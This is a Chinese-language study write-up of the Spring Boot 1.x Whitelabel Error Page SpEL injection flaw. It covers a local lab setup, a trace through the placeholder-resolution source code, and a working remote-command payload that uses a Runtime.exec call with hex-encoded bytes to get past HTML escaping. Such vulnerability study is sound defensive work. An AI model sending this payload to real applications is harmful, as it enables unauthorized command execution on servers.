前言:學習springboot系列的漏洞
參考文章:https://github.com/LandGrey/SpringBootVulExploit
什么是SpEL表達式
Spring Expression Language(簡稱 SpEL)是一種功能強大的表達式語言、用於在運行時查詢和操作對象圖;語法上類似於 Unified EL,但提供了更多的特性,特別是方法調用和基本字符串模板函數。SpEL 的誕生是為了給 Spring 社區提供一種能夠與 Spring 生態系統所有產品無縫對接,能提供一站式支持的表達式語言。
最常見的就是在配置數據源的那塊,為了統一管理,一般都是將賬號密碼等信息都一起寫到 xxx.properties 中,然后通過注入 PropertyPlaceholderConfigurerResolver 來實現spel表達式的執行,這樣就能將 xxx.properties 中的資源信息(也就是賬號密碼)直接引入到數據源中。
漏洞介紹和環境搭建
影響版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
利用條件:
1、spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
2、至少知道一個觸發 springboot 默認錯誤頁面的接口及參數名
搭建的環境:https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
用idea打開之后配置下SpringBoot啟動項就可以直接跑了
訪問: http://localhost:9091/ ,如下圖所示就說明搭建成功了
漏洞復現
訪問:http://localhost:9091/article?id=${7*7} ,可以發現${7*7}
的SpEL表達式被進行了解析,隨后將該表達式的運行的結果進行了返回,如下圖所示
# coding: utf-8
result = ""
target = 'calc' # 自己這里是windows環境,所以測試命令用的是calc
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
訪問: http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))} ,可以發現命令成功執行了
漏洞分析
漏洞存在點:/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java
這是一個自動配置類,既然是SpEL漏洞,那么這個配置類中進行是進行了相關的表達式解析才導致的。
這里就直接在控制器中進行下斷點來跟,也就是如下的地方
mv = ha.handle(processedRequest, response, mappedHandler.getHandler()); ,方法中處理了相關的HTTP請求,相關的控制器方法執行和觸發的異常都是在這里面執行的
因為這里會處理異常,所以最終返回給mv變量的是error視圖
到目前modeView對象已經拿到了,該對象中包含了這里HTTP請求處理的處理和相關值,然后將這個作為參數調用processDispatchResult,讓該方法來進行渲染
在processDispatchResult方法中就會進行渲染,其中實現渲染的方法名就是render
用的是什么解析器來進行渲染呢?SpELPlaceholderResolver對象
渲染的模板就是默認的Whitelabel Error Page 模板,其中就四個標簽有進行相關SpEL表達式的操作的,分別是 ${timestamp} ${error} ${status} ${message}
"<html><body><h1>Whitelabel Error Page</h1>"
+ "<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>"
+ "<div id='created'>${timestamp}</div>"
+ "<div>There was an unexpected error (type=${error}, status=${status}).</div>"
+ "<div>${message}</div></body></html>");
這里重點就是分析 String result = this.helper.replacePlaceholders(this.template, this.resolver); ,繼續跟進去看,可以看到調用的是replacePlaceholders方法
public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
Assert.notNull(value, "'value' must not be null");
return parseStringValue(value, placeholderResolver, new HashSet<String>());
}
接着繼續來到parseStringValue(PropertyPlaceholderHelper.java)
接着就是一塊邏輯處理的代碼,這里不放圖,我直接打字來描述即可
protected String parseStringValue(
String strVal, PlaceholderResolver placeholderResolver, Set<String> visitedPlaceholders) {
StringBuilder result = new StringBuilder(strVal);
int startIndex = strVal.indexOf(this.placeholderPrefix);
while (startIndex != -1) {
int endIndex = findPlaceholderEndIndex(result, startIndex);
if (endIndex != -1) {
String placeholder = result.substring(startIndex + this.placeholderPrefix.length(), endIndex);
String originalPlaceholder = placeholder;
if (!visitedPlaceholders.add(originalPlaceholder)) {
throw new IllegalArgumentException(
"Circular placeholder reference '" + originalPlaceholder + "' in property definitions");
}
// Recursive invocation, parsing placeholders contained in the placeholder key.
placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders);
// Now obtain the value for the fully resolved key...
String propVal = placeholderResolver.resolvePlaceholder(placeholder);
···
if (propVal != null) {
// Recursive invocation, parsing placeholders contained in the
// previously resolved placeholder value.
propVal = parseStringValue(propVal, placeholderResolver, visitedPlaceholders);
result.replace(startIndex, endIndex + this.placeholderSuffix.length(), propVal);
if (logger.isTraceEnabled()) {
logger.trace("Resolved placeholder '" + placeholder + "'");
}
startIndex = result.indexOf(this.placeholderPrefix, startIndex + propVal.length());
}
else if (this.ignoreUnresolvablePlaceholders) {
// Proceed with unprocessed value.
startIndex = result.indexOf(this.placeholderPrefix, endIndex + this.placeholderSuffix.length());
}
···
visitedPlaceholders.remove(originalPlaceholder);
}
else {
startIndex = -1;
}
}
return result.toString();
}
1、StringBuilder result = new StringBuilder(strVal); 將要渲染的模板存儲到一塊StringBuilder對象中
2、接着下面的while循環就是來尋找 this.placeholderPrefix開頭並且以this.placeholderSuffix 結尾的字符串,並且將其中的字符串名稱取出
3、這時候就來到了 placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders); ,它會將 上面取出來的字符串作為placeholder變量進行傳輸,通過placeholderResolver解析器來進行解析,而且這個方法還是遞歸的方法,因為上面一開始取出的字符串中還帶有${ }
這種,還會遞歸進行parseStringValue解析,直到不存在${}為止
4、String propVal = placeholderResolver.resolvePlaceholder(placeholder);,接着就是調用這個方法,這個方法才是真正的主角,因為進行字符串填充的都是通過這個方法
resolvePlaceholder這個方法跟進去,可以發現會通過SpelExpressionParser對象的parseExpression方法來對傳入的字符串進行保存,最后返回一個expression的對象
5、Object value = expression.getValue(this.context); 接着其中繼續通過返回來的expression對象來獲取其中的值,根據該值來判斷返回對應的對象,這里傳入的是timestamp
,通過getValue方法之后返回出來的是一個Date格式的字符串
6、還會對這個返回的字符串進行HTML編碼處理
return HtmlUtils.htmlEscape(value == null ? null : value.toString());
7、最后進行替換處理,將其解析出來的字符串和對應的${}
進行替換
整個解析過程就是這樣,那么這里可以知道的就是對於${}
字符串的解析是通過SpEL表達式進行解析的,那么SpEL表達式是否可以進行利用?這里還需要了解下相關的SpEL表達式的運用
SpEL表達式的使用
參考文章:http://rui0.cn/archives/1043
這里講兩種用法,其他用法可以參考文章即可
parser.parseExpression("'hello world'");
這里輸入的'hello world' 是需要加上單引號的,加上單引號的作用是讓SpEL以字符串類型來進行解析
public class CodeTest {
public static void main(String[] args) {
//創建ExpressionParser解析表達式
ExpressionParser parser = new SpelExpressionParser();
//SpEL表達式語法設置在parseExpression()入參內
Expression exp = parser.parseExpression("'hello world'");
//執行SpEL表達式,執行的默認Spring容器是Spring本身的容器:ApplicationContext
Object value = exp.getValue();
System.out.println(value);
}
}
第二種T(Type): 使用"T(Type)"來表示java.lang.Class類的實例,即如同java代碼中直接寫類名。同樣,只有java.lang 下的類才可以省略包名。此方法一般用來引用常量或靜態方法
Expression exp = parser.parseExpression("T(java.lang.Math)");
,可以發現解析出來的是一個math的class對象
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
,那么這樣就可以直接執行命名了
同樣試試用這個表達式注入到相關存在漏洞的環境,訪問 http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(%27calc%27)}
,發現應用直接報錯了
重新調試,跟進去看下,可以發現原來是被HTML編碼處理了,最后返回的字符串存在&
T(java.lang.Runtime).getRuntime().exec('calc')
,那么單引號或者雙引號就無法使用,但是這里可以通過String類型來進行替換,用十六進制來表達'calc'字符串 {0x63,0x61,0x6c,0x63}
那么最后的payload就是 ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}